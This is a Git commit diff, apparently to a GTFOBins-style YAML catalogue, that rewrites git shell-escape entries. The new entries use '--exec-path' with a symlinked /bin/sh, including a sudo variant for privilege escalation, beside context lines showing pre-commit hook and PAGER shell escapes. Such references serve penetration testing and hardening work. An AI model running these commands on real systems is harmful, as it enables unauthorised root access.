Make the new Git shell follow the conventions

This commit is contained in:
Andrea Cardaci 2020-10-03 11:54:42 +02:00
parent ef2ebf9d30
commit 87a0bb6a9f

View File

@ -13,6 +13,10 @@ functions:
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample" echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit" mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
git -C "$TF" commit --allow-empty -m x git -C "$TF" commit --allow-empty -m x
- code: |
TF=$(mktemp -d)
ln -s /bin/sh "$TF/git-x"
git "--exec-path=$TF" x
file-read: file-read:
- description: The read file content is displayed in `diff` style output format. - description: The read file content is displayed in `diff` style output format.
code: | code: |
@ -35,12 +39,10 @@ functions:
echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample" echo 'exec /bin/sh 0<&2 1>&2' >"$TF/.git/hooks/pre-commit.sample"
mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit" mv "$TF/.git/hooks/pre-commit.sample" "$TF/.git/hooks/pre-commit"
sudo git -C "$TF" commit --allow-empty -m x sudo git -C "$TF" commit --allow-empty -m x
- description: If file creation is allowed, it can be used to change Git path - code: |
code: | TF=$(mktemp -d)
mkdir /tmp/git ln -s /bin/sh "$TF/git-x"
echo '/bin/bash' > /tmp/git/git-escalation sudo git "--exec-path=$TF" x
chmod +x /tmp/git/git-escalation
sudo git --exec-path=/tmp/git escalation
limited-suid: limited-suid:
- code: PAGER='sh -c "exec sh 0<&1"' ./git -p help - code: PAGER='sh -c "exec sh 0<&1"' ./git -p help
--- ---